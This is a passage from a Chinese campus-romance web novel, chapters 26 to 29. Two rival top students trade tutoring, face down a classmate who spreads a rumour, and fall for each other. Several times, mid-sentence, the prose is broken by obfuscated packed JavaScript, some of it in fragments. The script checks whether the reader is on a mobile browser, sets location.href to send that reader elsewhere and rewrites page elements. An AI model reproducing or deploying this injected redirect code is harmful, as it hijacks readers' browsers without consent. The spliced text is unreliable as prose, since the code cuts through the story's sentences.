祁昂认命,认认真真写下每一个步骤。 “温知新,别走神。” “不怪我,天好热。” “教室空调19度,再热你就钻进去,听题。” “……” 但温知新也不是全然占不了上风。 虽然她数竞没拿到金牌,但是在高考范围内的数学领域里,她的成绩要比祁昂好。 祁昂来问她数学题的时候,她就会把自己在物理上受的气全找回来。 “这么简单的题也要我讲吗?” “祁昂,你是不是来浪费我时间的。” “祁昂,你重复一遍,不要总是我讲。” …… 距离省联考还有一周,两个人就一边阴阳怪气一边给对方讲了一周的题。 26. 造谣 五月份的全省联考,高一高二高三全部参加,严格按照高考模式,三十人考场,考两天。 这是高三生高考前最后一次模拟赛,也是高二完全进入备战高考的预备铃声。 说紧张也紧张,但更多的是激动。 许妄桌前围着好几个人,听他大嗓门喊:“买定离手!概不更换!三思后行!小赌怡情!大赌考不好!” 喊的哪门子口号,乱七八糟的。 温知新路过,许妄拽住她,热情介绍,“客官来看看,理重班一月一次的大型押宝活动火热开始,” “什么意思?”温知新一头雾水。 许妄把一张成绩单摆到她面前,上面用中性笔写了好几个名字,“就是押这次联考第一是谁,押对了免费得一根棒棒糖。” 温知新更疑惑:“哪来的棒棒糖?” “押错的人买的。”许妄说。 温知新看着那张纸,二十多个人的名字旁边都有个手写姓名,“很多人都参加吗?” “除了极个别同学,基本都参加。”许妄说,“怎么样,要参加吗?我可以给你推荐几个赢面很大的人选。” 温知新说:“这倒是不用了。”她扫一眼就能看见,支持的祁昂的人占了一半。 “写谁都行?”温知新问。 许妄“嗯嗯嗯”的,把笔递给她,“谁都可以,写自己也可以。” 温知新没想给自己扳回一票,在落笔前,她忽然问了一句,“这次考试的第一是不是也会上荣誉榜?” “对,怎么了吗?” 温知新摇摇头,说:“没什么,我写好了,给你。” 许妄接过成绩单,看见印刷体的“温知新”旁边,跟着手写的“舒格”。 “阿祁,你押不押?”温知新离开之后,许妄又抓住路过的祁昂,激情推销,“你再给自己添一票,就和知新持平了。” “持平?”祁昂眉尖微挑。 “嗯哼,你的魅力早不如当年了,现在新王才是众望所归!” “笔。” “给。” 祁昂唰唰几笔写完,把纸和笔递给许妄。 这下极个别同学也写完了,理重班一共三十五人,有三十五人参与此次押宝活动。 许妄趁着距离上课还有一会儿时间,抓紧把名单整理了出来。 左列姓名,右列押宝对象。 祁昂–温知新 温知新–舒格 舒格–许妄 …… 彭国豪–温知新 姜寐–温知新 傅云星–姜寐 …… 许妄–许妄 方集–祁昂 …… 在许妄的软磨硬泡之下,舒格把温知新的名字划掉写了他,所以他在此次活动中成功斩获两票。 除此之外,温知新十七票,第一;祁昂十五票,第二。 得知自己以两票的微弱优势险胜祁昂后,温知新低调表示:“承蒙大家厚爱,鄙人一定好好复习,争取摘得桂冠。” 她努力凹出来的一口播音腔,惹得姜寐伏着连廊的栏杆笑得花枝乱颤。 许妄说她得了便宜卖乖。 温知新笑,说他吃不着葡萄说葡萄酸。 许妄作势要打她,温知新就沿着连廊跑。 此时正值晚饭期间,连廊上很多学生,温知新和两个人擦肩而过时,一句语气轻蔑的话被夏风送进她的耳朵。 “你们真以为温知新多纯,她转学不就是因为和男的乱搞吗?” 有名有姓,她很难假装听不见。 温知新停下来,转身冷冰冰地盯着那个寸头男。 她拍拍他的肩,问:“同学,请问我和谁乱搞了?” 同行的另一个男生见气氛不对,想拉寸头男生离开,但拽了两下没拽动,索性自己先跑了。 寸头男的脸上有一瞬间的惊慌,但面对比他矮半头的女性,他似乎又有种天然的优越感。 “你搞没搞自己清楚,那个男生不是因为你还被记过处分了吗?” “我在问你,你说我和别人乱搞,证据呢?”温知新纤瘦的背挺得很直,盯着男生的眼睛冷厉,好像捕猎的狐狸。 “如果没有证据,那我是不是也可以说你和男的乱搞,那个男生也因为你被记过处分了?” “你有病吧!”寸头男生暴怒,拽起温知新的领子就要打她。 以为是常见的搭讪戏份的姜寐傅云星许妄见形式不对,抓紧跑过来,一个护着温知新,两个拽开寸头男生。 “傻x!自己乱搞不让别人说,被戳穿了还恼羞成怒!” 温知新挣脱开姜寐的怀抱,趁着寸头男被许妄和傅云星一左一右架着无法动弹,她上去就两脚,全踹在他的肚子上。 “你没有证据还血口喷人,你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139013|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻x。” “温温!” 姜寐等她踹完才去拉她,许妄和傅云星说着劝架,实际暗里偷偷掐了寸头男好几下。 “串年纪寻滋挑事,记过停课,情节严重的劝退。”刚从学生会开完会回来的祁昂挡在温知新面前,语气冷淡,“高一四班支宏远,你上星期刚刚因为打架被停课三天,又来?” 支宏远和祁昂有过节,他不敢惹,只能对着他干瞪眼。 祁昂微昂下巴,语气轻轻,“滚。” 寸头男看了一圈对面,觉得1V5实在不是明智的做法,他挣脱许妄和傅云星的大手,一溜烟跑了。 温知新觉得不解气,还要追上去揍他,被祁昂拦住。 “你打架也会被停课。” “我不怕停课,我要找他说清楚,凭什么平白无故诬陷人。” “温知新。” 祁昂阻劝的声音自上而下落到温知新耳朵里,一如既往的清冽。 温知新仰头看着他,意识到自始至终祁昂都是这样的人。 他一直奉行自己认为正确的是非对错观念,永远高高在上,不可一世,学不会换位思考。 打不了那个寸头,怒火堵在胸口不能发泄,温知新觉得此时此刻的自己很像一只氢气多到快炸出来的气球。 “好,你是学生会会长,你厉害。” 她面无表情地看了一眼祁昂,转身往班里走。 姜寐看看祁昂,又看看温知新的背景,恨铁不成钢地叹了口气,抓紧追了上去。 傅云星也跟着姜寐离开。 只剩下许妄,他垂着脑袋叹了好大一口气,胳膊压着祁昂的肩,说:“你让她打两拳出出气怎么了?” “她踹了他两脚,我看见了。”祁昂平铺直叙。 许妄急了,“你知道那傻缺说知新什么吗,就踹两脚能出什么气。” 祁昂望着温知新逐渐变模糊的身影,只说:“今晚支元武在监控室值班。” 支元武,支宏远亲爹。 高二年级主任,课上得一般,脾气巨大,还爱歪屁股。 上次如果不是祁昂抓到支宏远打架,并且强烈要求学校按照校规处分的话,他就大事化了小事倒打一耙了。 “那这傻缺不会去告状吧。”许妄说,“我和傅云星还悄悄拧了他好几下呢。” “不会。”祁昂语气薄凉,“他马上就顾不得告这个状了。” 27. 吃醋 温知新一回到教室就被八卦头子姜寐控制在座位上,喂了一口矿泉水。 温知新:“?这是演哪出戏?” 姜寐一本正经:“这是喝了就会说真话的药水,现在我问你什么你都要如实回答。” 温知新大概能猜到她想问什么,对姜寐,她没什么需要隐瞒的。 她笑着轻挑眉尖,“好的,姜记者请问。” “咳咳。”姜寐随手抽了祁昂一本书卷起来做话筒,抵在温知新唇角,“那位郁同学是不是喜欢你?” “不喜欢,我俩其实不算太熟。”温知新说。 姜寐问:“不熟你们怎么会一起回家?” “一起回家就算熟吗?我经常和顺路的同学一起回家啊。” “好吧,也就是郎无情妾无意,但是眼瞎的校领导把你俩硬凑到了一起。”姜寐总结。 “bingo。”温知新打响指,“还有什么要问的吗姜记者?” “没了,祝你俩友谊99。”啥也没挖到的姜寐悻悻而归,把书换给祁昂。 温知新挥挥手,“下次再来,姜记者。” 送别姜寐,温知新小声哼着歌,从一堆试卷里刨出来一张物理卷子。 圈出来两道题,推给祁昂,“麻烦好声好气给我讲,谢谢你。” 祁昂说:“不麻烦。” 温知新还在惊讶祁昂这次居然这么好说话时,然后就发现这人压根没有好声好气地讲。 不算差,就是很公事公办。 “你的思路不对。金属棒稳定时,安培力由电容器电压产生的反向电流抵消,但要满足力学平衡的话电流不可能为零,这说明系统最终没有匀速,要考虑能量守恒,你自己再好好算一遍。” “这道题也是,多读一遍题目就不会做错。” 温知新握着笔,耳朵脑子和手没一个跟上的,反应过来时祁昂已经坐正身子,安安静静看下说去了。 就这么赶时间吗? “……谢谢。”温知新眨眨眼,又补了一句,“麻烦你了。” 她重新又做了一遍那两道题,解出来第一道,但第二道还是不太明白。 正在想着下课去问傅云星的时候,一张纸从旁边被递了过来。 上面整整齐齐写着第二道大题的解题步骤。 笔迹锋利,一看就是正经练过书法的,行楷写的特别漂亮。 “谢谢。”温知新说,“但是你刚刚给我讲清楚不就不用这麻烦了吗?” 祁昂没看她,“我愿意。” “……”行,千金难买你愿意。 顺利解决完物理错题之后,温知新心满意足地奔向数学的怀抱。 还剩下两节自习,刚好够做一套试卷。 – 温知新还是觉得今晚的祁昂有点不对劲。 放学回家的路上,她问:“你想什么呢?晚自习的时候就心不在焉的。” 祁昂反问:“我心不在焉?” “你说呢?”温知新说,“晚自习的时候我都写完一整套数学卷子了,你那小说都没翻两页,你管这叫心很在焉?” 祁昂沉默片刻,问:“在云宁,你和郁锦程,经常一起回家吗?” 温知新不知道他怎么突然问起这个,如实说:“不经常,偶尔顺路的时候会一起走。” 祁昂语气明显轻松了很多:“那他会帮你背书包吗?” “不背啊。”温知新顿了一下,明白了,笑出声来,“祁昂,合着你一整个晚自习就想这个呢,你不想背书包直接跟我说不就行了。” “我不想背?” “你的意思不就是郁锦程不背,你也不背吗?” “我和他一样?” 温知新:“……” 再好脾气的人听到祁昂的反问句都会冒火气的,何况温知新压根不是多好脾气的人。 她学着他的语气:“不然呢?你有什么不一样的吗?” “温知新。” 清泠泠的声音像冬日的霜从四面包裹住温知新。 明明后颈上还覆着一层薄汗,她却觉得一阵寒冷。 “干嘛?”她头也不回往前骑,粗声粗气地回答。 祁昂不紧不慢追上她,两个人又重新并肩,他问:“怎么,你也会咬他吗?” 温知新烦躁。 到底还要讲多少次这件事情。 “你怎么知道我没咬过?”温知新说,“祁昂,你不要把自己想的太特别。” 前方宽阔的大道上没有车,祁昂双手握着车把,眼神直勾勾盯着温知新。 半晌之后,点了下头,“当然,你想咬谁都可以,随你。” 说完,他猛骑车,把温知新远远落在身后。 温知新:“……” 她本来很生气的,然后她眼尖地发现祁昂身后的书包链没拉好。 少年离开的背影决绝,深绿色的衣摆随风飘扬,然而背上那一只明黄色的书包却半开着口,露出里面五颜绿色的笔记本。 一位冷言寡语的少侠,转身时却被发现他的斗笠上插满鲜花。 温知新兀自笑了一会儿,踩着脚踏板慢吞吞往家骑。 不出她所料,远远就能看到一个人影杵在单元楼下,站的很直,像棵傲然挺立的松树。 温知新在距离祁昂还有十几米的距离停了下来,推着车往前走。 路灯依旧闪着微弱的光,她多走一步,两个人的脸就清楚一分。 温知新又走近了一步,此刻他们完完全全能看清彼此的脸。 祁昂低着头,眼睛很亮,温知新抬头望向他时,才发现,其实他眼下的小痣很明显。 “祁昂。” 清亮的声音在夜色里响起。 “嗯。”回答她的是一声很轻的男音。 风过,树叶晃动出沙沙声,仿佛空气都变粘稠,夜也变温柔。 “你书包链没拉。”温知新笑着说。 祁昂:“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15165671|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把书包提到手上,面无表情地拉好拉链,然后塞到温知新怀里。 接着掉头就要走。 温知新看着他的背影,打趣道:“怎么了,大少爷,耍帅没成功就恼羞成怒?” “温知新。” “在呢。” 一句意味不明的呼唤名字,一句尾音轻轻上扬的应答。 接着是长久的沉默。 ”温知新叹口气,认栽,“算了,你就不是有话能直说的类型,就这样吧,我要上楼了。” 祁昂看着她,眼睛里的光闪了一下,又听见她小声补了一句。 “还好我是有话直说的,不然两个人在一起真会憋疯一个。” 祁昂当然知道她说的“在一起”是“坐在一起”,只是当同桌的意思。 但他仍然不受控制地想到了一些不会发生的事情。 比如,在一起。 祁昂在她转身之前喊住她,声音有些沉,却意外的适合这夜色。 “温知新,以后别让其他人替你背书包了。” 温知新没忍住,笑出声来,“祁昂,背书包这种活儿你还要搞垄断啊。” 祁昂沉默着点头。 温知新笑得更无奈,她以前只知道祁昂很不可一世,完全没意识到这人对自己认定的东西有很强的占有欲。 王就是王,天下万物都得入他麾下。 温知新说:“祁昂,和你一起回家之前我一直都是自己背书包的,我没有逼迫别人替我背书包的爱好。” “嗯,以后都我背。”祁昂说的很认真。 温知新反而一愣。 继而又觉得好笑。 两个十七岁的人怎么会在这里讨论这种无意义的事情。 她从明天开始上学不背书包了可以吗? “行,你要是愿意一直当苦力你就背吧。”温知新说,“难得你有无私奉献的时候。” “还有话要说吗?没有我真上去了。” 祁昂顿了顿,问:“我和郁锦程谁帅?” “……”好突如其来的比较,好莫名其妙的胜负欲。 其实你从一开始就在纠结这个问题吧,说什么要一直替我书包,只是想为自己争取一个表现分对吧。 温知新无奈:“当然是你帅,这点我可以发誓。” 祁昂满意。 祁昂和她说晚安。 祁昂离开。 温知新觉得能在王身边待久的人都不是等闲之辈,她靠着电梯,从口袋里摸出手机,给许妄发了一条信息。 温故而知新:【这么多年,真是辛苦你了】 宇宙第一大帅哥许某人是也:【?你说话跟我爸似的】 温知新:“……” 第二天,温知新起晚了十分钟,匆匆忙忙跑出家门,结果发现祁昂在楼下等着自己,手里还拿着早餐。 温知新:“?” 她真后悔了,现在说郁锦程比祁昂帅还来不来得及。 28. 蝴蝶 “你怎么在这儿?”温知新问。 祁昂把早餐递给她,说:“路过。” “……”鬼才信。 你是第一天住这里吗?以前也不见你路过。 温知新盯着他,“无事献殷勤,非奸即盗,你想要什么?” “真的路过。”祁昂说,“以及再不去学校也真的要迟到了。” “好吧,到学校再说。” 两个人一路骑的飞快,赶在校门关闭的前一秒冲了进去,又踩着上课铃的尾音进了教室。 温知新把吸管插进牛奶瓶,笃定道:“你肯定有事求我,说吧,要我干什么?” “没有。” 闻言,温知新连忙放下手中的牛奶和三明治,用比刚才还肯定的语气说:“你下毒了。” “……” 祁昂屈起手指,弹在她额头。 温知新立刻以五倍的力气还回去,眼见一场大战即将爆发,一声“祁昂”横插进来,制止住两人动作。 “不好意思,我不是有意打断你们交手的。”凌冉对温知新笑笑,说,“但我有点事情要找祁昂,挺急的。” 温知新立刻做出“请”的姿势,“随意取用。” 凌冉嘴角微扬,说:“多谢。” 祁昂起身,走过温知新的时候轻轻拍了下她的脑袋,“心真狠。” 温知新低头咬着牛奶吸管笑起来。 祁昂脚步蓦地一顿,竟然也垂下眼睛,扬了扬嘴角。 – 早读铃声打完,祁昂也没有回来。 温知新把化学五三压在语文作文材料下面,躲着齐老师悄悄写起来。 但她只有两只眼睛,总有顾不到的时候,在朗朗读书声里,她被齐老师揪了起来,驱逐到门外。 “背完再进来。”齐老师指了指她手里的作文素材,哐当把门关上了。 清早的阳光不算刺眼,也没热到站不住的地步,温知新半倚着墙,百无聊赖地拿着纸扇风。 就在她思考着接下来半小时要干点什么时,门又被打开,这回被丢出来的是许妄。 “陛下,臣来陪你了。”许妄装模作样作揖。 温知新笑着说他有毒。 许妄从校服外套里面掏出一本化学五三呈了上去,温知新立马让他平身。 “爱卿是因为什么被赶出来的?”温知新一边写题一边问。 许妄说:“唱歌。” 温知新问:“老齐耳朵这么灵吗,还是你当他面唱的?” 许妄嘿嘿一笑,“不是,给舒格唱,被她告官了。” “该。”温知新说,“你自己不学还不让人家学。” 许妄惊讶:“你怎么回事,从昨天晚上莫名其妙给我发那条信息开始,说话就越来越像我爸了。” “……”温知新低着头写字,凭直觉往许妄那个方向踢了一下。 踢是踢到了,就是踢错目标了。 “温知新。” 这凉飕飕的声音,除了祁昂再没别人。 “对不起,踢错人了。”温知新拉过在旁边看热闹的许妄,“我是想踢他的。” 祁昂微蹙着眉,用手推着许妄的肩,将他们两个人分开,中间的空位大到可以再站两个人。 许妄:“……”别太明显了,哥。 “怎么出来了?”祁昂问。 温知新晃了晃手里的五三,“偷写化学被发现了。” 许妄凑过来说:“唱歌扰民被举报了。” 祁昂张嘴,还没说话,齐老师从门里探出头来,“这么爱聊,你在外面聊够再进来吧。” 祁昂:“……” 温知新和许妄低头憋笑,默默让出一个位置给他。 温知新趴在墙上做题,许妄和祁昂倚着墙聊天。 祁昂接过温知新手里的纸给她扇着风,听许妄问:“凌冉今天怎么来了?” 温知新马上停下笔。 “问我下周要不要和她一起去福利院做义工。” “对,又到六月了。”许妄说,“你去吗?” “不去。”祁昂说,“我下周要回家。” “回云锦城?”许妄问,“祁阿姨不允许你一个人住在校外了?” 祁昂看了眼旁边假装写字实际偷听的温知新,很不明显地笑了一下,说:“不是,有事找我而已。” 温知新写下化学配平公式,心里突然没来由地有些烦躁。 天气好热,她不喜欢夏天。 课间,温知新去找姜寐玩,碰巧许妄在讲他和祁昂凌冉一起参加科技大赛的趣事。 她问:“你们三个之前就认识吗?” 许妄说:“我们以前住在一个大院里,后来又搬到了同一个小区,小学初中高中都在一起。” 温知新点点头。 青梅竹马,青梅竹马。 那点不知缘由的烦躁意更盛。 – 省联考的时候考场随机打乱,主科和副科不在一起。 温知新语数英在高二文十四班,理综在高二文重班。 宜安一中教学楼布局有点奇怪,和高二理科楼连在一起的是实验楼,里面是高一文科生;而高二文科楼则需要绕两条路和一个操场,到达另一个角上。 因此坊间也一直流行着“世界上最远的距离不是生与死,而是我在宜理楼,而你在宜文楼。”这样的说法。 吃午饭时,温知新和姜寐说:“我还没去过宜文楼呢,要怎么走?” 姜寐方向感极差,只会前后左右,不懂东南西北,一中那些拗口的路名更是一个也没记住过。 她云里雾里地指,温知新似懂非懂地记。 坐在对面的傅云星本来在给姜寐挑菜里辣椒段,听她们两个交流这么费劲,提议道:“吃完饭我们一起走一遍就记住了。” 姜寐说:“对呀,我们怎么没想到?” “只想徐修明了。”傅云星冷冰冰开口。 闻言,温知新和姜寐对视一眼,都停下了筷子,抿着嘴唇,要笑不笑地看着傅云星。 姜寐:“星星。” 温知新:“傅哥。” 二人齐声:“我们绝无二心!” 她们两个人声音不大不小,刚好能被周围一圈听到,好多人都往这边看过来。 傅云星幽幽看了她俩一眼,把姜寐的餐盘推过去,“你们闭嘴吧。” 姜寐和温知新又咯咯咯笑起来。 趁校门没关的这点时间,姜寐和傅云星带着温知新去了趟宜文楼。 每栋楼内部布局是相同的,所以三个人没有进去,温知新记住路线之后就打道回府。 路上,温知新说起昨天祁昂莫名其妙生气的事情。 姜寐说:“可能有些人就是容易对更亲近的人发脾气,傅云星就这样,他有点小脾气全对着我了。” “傅云星也有脾气吗?” 温知新看了眼傅云星,没觉得他会有什么小脾气,整天都跟在姜寐身边,跟个暗影似的。 “有,可多了。他只挑我去喊他起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196709|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上学的时候赖床;晚上睡觉的时候逮到他偷偷打游戏,还耍赖不肯把游戏机交出来;吃饭……” 傅云星咳一声,拽了下姜寐的衣角。 姜寐在嘴上做了个拉拉链的动作,保证自己不再讲话。 温知新在旁边偷笑,笑着笑着又想起来什么,愣了片刻。 怎么大家都有青梅竹马。 – 晚自习清教室,布置考场。 温知新的两大箱书全被祁昂一手包揽,她负责留在班里摆桌椅板凳。 一切收拾妥当后,第二天开始考试。 理综开考十五分钟,室外开始下雨,起初是淅淅沥沥的试探,随着时间推移雨势越来越大。 等考完试,天地已经变成一阵白茫茫。 交卷放学,教学楼瞬间沸腾起来,一片嘈杂里,有伞的人在打伞,没伞但有朋友的人在蹭伞,既没伞又没有朋友的人只能坐在考场里等雨停。 比如温知新。 教室里只剩下寥寥几人,她换到了靠窗的位置,雨滴打在玻璃上留下蜿蜒水迹,看不清外面的景象。 这是温知新来宜安后遇到的第二场雨,她在思考自己究竟要被困住多少次才能记得带伞。 慢慢的,剩下的几名学生也离开了,空荡的教室只剩下温知新自己,外面的雨势却一点儿没小。 没有刻意放缓的脚步声响在走廊,温知新想这栋楼里又有一个人要回家了。 却没想到那道脚步声离自己越来越近,最后停在了文重班门口。 门被推开,温知新闻声回头。 明亮的光泄露出去,祁昂的影子被拉得很长很长,他背着书包,抬眼往温知新那儿看。 大概有两分钟,两个人都没有说话。 “温知新。”祁昂慢慢开口,声音一如既往的冷淡,“你有我的手机号码吧?” 温知新不明所以,“有啊,怎么?” “回不去怎么不给我打电话?”祁昂走近她,“需要我教你拨号吗?” 又来了,不阴阳怪气就不会说话。 温知新眨眨眼,仰头看他,语气真诚:“我没带手机。” 祁昂:“……” 温知新好像看见祁昂叹了口气,是那种无可奈何又只能认命的感觉。 他歪头,“走吧。” 两个人共撑一把伞往书香别苑走,温知新问:“你怎么知道我在教室?” 祁昂说:“猜你不会带伞。” 何止没拿伞,全身上下就两根笔,揣兜里就不占地方。 “这都能猜到?”温知新去看祁昂,被对方清晰锋利的下颌线晃到了眼。 祁昂不置可否:“你很好猜。” 这话在温知新听来,和“你很蠢”没有什么区别。 她脖子一仰,否认:“我可不好猜了,我超级神秘——” 头顶落下一声含混的轻笑。 祁昂说:“你是超级英雄的妹妹。” 温知新没反应过来:“什么意思?” “你是超级神秘。” “……”受不了,好烂的梗。 温知新整个人往外歪,假装被他的冷笑话冻到,祁昂跟着她的动作把伞往她那边偏。 考试期间不要求穿校服,祁昂照例穿了一身黑,温知新穿了一件鹅黄色纯棉短袖。 雨大的出奇,世界被罩在白色的壳子里,冷白色的手握着一把黑色的伞,伞面下压倾斜,露出半角鹅黄色来。 像闯进黑白世界的一只蝴蝶。 29. 省一 省联考的看卷速度十分快。 23号考完试,25号出成绩。 课间,赵言心拿着成绩单倚着讲桌,痛心疾首:“我周末被抓去没日没夜判了整整两天的试卷,结果拿到你们的成绩之后两眼一黑,这次考试确实有难度,但是我们班上680分的居然只有五个。” 许妄很乐观:“哇,七分之一呢。” 赵言心眼神杀过去,“但你是七分之六呢。” 许妄闭嘴装死。 赵言心说:“下午发成绩条,现在我先念一下前五名。” “第一名,温知新,总分700,全省第一。 “第二名,舒格,总分695,全省第三。 “第三名,祁昂,总分692,全省第四。 “第四名,钱高怡,总分684,全省第七。 “第五名,姜寐,总分680,全省第十。” 温知新和姜寐在空中对上视线,极其默契地向对方发射了一个大拇指。 她低着头,笑容很大很明媚,压低的声音挡不住她的自信,和祁昂说:“怎么样,厉害吗?这完全在我的意料之中。” 祁昂轻笑,“嗯,新帝运筹帷幄。” “……”不许说中二的话。 温知新偷偷在桌子下面给了祁昂一拳 “温知新,你谋杀肱骨大臣。”祁昂变本加厉。 打不过就加入,温知新故作高深道:“嗯,朕登基第一件事就是要平内忧除外患。” “那我是内忧还是外患?”祁昂问。 “两者兼有,不过你现在没什么威胁了。”温知新转头,对祁昂笑笑,“你比我差八分呢,痛哭流涕去吧。” 祁昂看着她,喉间溢出一声轻笑,“我现在非常痛苦,陛下。” 温知新被他逗笑,“你能不能有点儿表演精神,好歹呜呜哭两声。” 祁昂挑眉,“我不会哭。” 温知新凑近他,低语:“你上周看小说偷偷擦眼泪被我看到了,并且我拍照了。” 祁昂:“……真的假的?” 温知新“嗯哼”一声,在桌子下面拿出手机,解锁后打开相册。 她很喜欢拍照片,但不喜欢分类,几千张照片存在一起,查找就成了大问题。 温知新滑动屏幕,很多张人脸在她指尖划过。 有很多祁昂认识的人,比如姜寐舒格傅云星许妄正男徐修明等等等;更多的是他不认识的人,温知新来宜安一个多月,已经认识了很多朋友。 祁昂垂着眼睛,他能看到温知新的睫毛鼻子和脸颊,以及自言自语的嘴巴。 他不知道温知新是否意识到自己很爱讲话,和别人讲,也和自己讲。 “找到了。”温知新把祁昂拽下来,两个人一起躲在桌子后面。 手机屏幕上是一张祁昂的侧脸,线条优越,每次看都能帅人一大跳,眼尾很红,修长的手指夹着一张面巾纸,正在擦泪。 有图有真相。 温知新说:“你不会哭?” 祁昂干脆利落地删掉了那张照片,无辜摊手:“我不会哭。” “喂。”温知新反应过来去抓他的手,“我的手机,你干嘛删?” “你拍的是我。”祁昂理所当然。 温知新还想说什么,余光瞥到走廊的人影,匆匆把手机收了起来,正襟危坐。 来的是许妄,赵言心刚走他就去了超市,买了一大包棒棒糖,用的那些押错宝同学的钱。 温知新还贡献了两元。 但得到棒棒糖的是她的同桌——祁昂。 等祁昂挑口味的时候,许妄很庄重严肃地跟温知新说:“恭喜新帝,再登榜首。” 温知新勉强接受这个称呼,“……谢谢爱卿。” “就四个味道,你还没挑好?”许妄问,他还赶着给下个人送呢。 祁昂问:“有没有不太甜的?” “老兄,我这个是阿尔卑斯棒棒糖。”许妄向他展示,“只有甜的和特别甜的。” “你想吃哪个?”祁昂问温知新。 而温知新正在因为祁昂擅自删掉了照片而生气,语气不太好地说:“吃你。” 祁昂挑眉,右手在棒棒糖袋子里随便拿了一只,左手递到温知新面前。 “干嘛?” “不是要吃我?” 温知新拍开他的手,“祁昂,你好烦啊。” 阳光穿过走廊又打进室内,绸缎一般铺满课桌,塑封的练习册和笔帽上的铝制品闪着光,温知新头顶的碎发被照成金色。 祁昂笑起来,撕开包装纸,将糖球放进嘴里,咬碎时香橙味道瞬间盈满口腔。 – 一直到下午的表彰大会,温知新还没消气。 礼堂里,祁昂坐在她身后,看着温知新和左边的姜寐说话,和右边的舒格说话,圆润的后脑勺一直转来转去,就是不回头看一眼。 沉思了半分钟,祁昂俯身,拍了拍姜寐的肩。 “干什么?”姜寐回头。 祁昂说:“我和你换个位置。” 姜寐下意识看了一眼温知新,“不换。” “就十分钟。”祁昂说。 “一分钟也不行,傅云星不和我坐一起会哭的。”姜寐无辜。 好端端被泼脏水的傅云星悄悄推了一把姜寐。 祁昂:“……” 此路不通,再换一条。 祁昂又去拍舒格,回头的是温知新。 “祁昂,你没完了?” 祁昂往前倾身,低声:“讲道理,你没经我允许就偷拍我,我应该有删照片的权利吧。” 温知新:“当然有,但是讲道理,我也有不和你说话的权利吧。” 祁昂:“……”讲错道理了。 其实照片早就被她从回收站里恢复了出来,她不理祁昂是因为其他的事情。 在思绪很乱的时候,温知新习惯把所有东西都写下来。 礼堂座椅自带的桌板特别小,温知新把纸折了又折,变成小小一块,在上面写满心事。 好像从那天早上祁昂很自然地谈起凌冉开始,她就不太开心。 接着才是照片这件事,那是她手机唯一一张祁昂的照片,然后被本人很理所当然地删掉。 她不受控地想,如果拍他的是凌冉呢,他也会这么随随便便地删掉吗? 她竟然希望自己是特别的那个。 她不懂,这种占有欲是正确的吗? “知新。”舒格的声音把温知新的思绪拽回来,“马上到我们领奖了,去后台准备吧。” “嗯。” 高一高二高三的年级前三都在后台。 徐修明也在,和温知新打了个招呼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196710|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐修明笑着推了下眼镜,“看到你的成绩了,全省第一,很厉害。” 温知新笑着谦虚:“这次运气好。” 祁昂单手插兜,站在不远处看着她和徐修明谈笑风生。 一个高二一个高三,一个理科一个文科,有什么好聊的,这么多共同话题吗? 祁昂走过去,半个肩膀挡在她前面,颔首和徐修明打了个招呼。 于是三个人面对面,陷入了诡异的沉默里。 温知新受不了这种氛围,连忙拽着祁昂的衣角离开了。 表彰大会发的是奖状。 总分前三名各一张,单科状元各一张,进步之星一张。 温知新除了没有拿到进步之星,包揽了理科年级第一,语文单科状元,数学单科状元,物理单科状元和生物单科状元。 她站上领奖台就没下来过。 终于回到了观众席,姜寐迫不及待地把相机递过去,“快看快看,我拍的特别好!” 姜寐真的很有摄影天赋。 画面里,温知新站在左手边第一个,捧着五张奖状,几乎遮住她的整张脸,只露出一双眼睛,笑着,很亮,透出一股灵动来。 “发给我,谢谢。”温知新说,“我将打印出来挂在卧室。” 姜寐说:“没问题,你再往后翻翻,我拍了好多呢。” 温知新依言往后看。 有单人照,有双人照,还有大合照。 一张温知新和祁昂的合照。 温知新弯腰从校长手里接过奖状,祁昂垂着眼睛看着温知新。 光影从他们身侧打过来,拉长的影子铺在木制地板,一切都那么恰到好处。 “新帝旧王,靓女俊男。”姜寐由衷感慨。 温知新被中二到了。 她转头给了许妄一下。 正偷玩手机的许妄吓了一跳,“干嘛?” 温知新说:“算旧账。” 这句话就是许妄传出去的,她还记得呢。 许妄跟祁昂告状:“阿祁,你看她——” 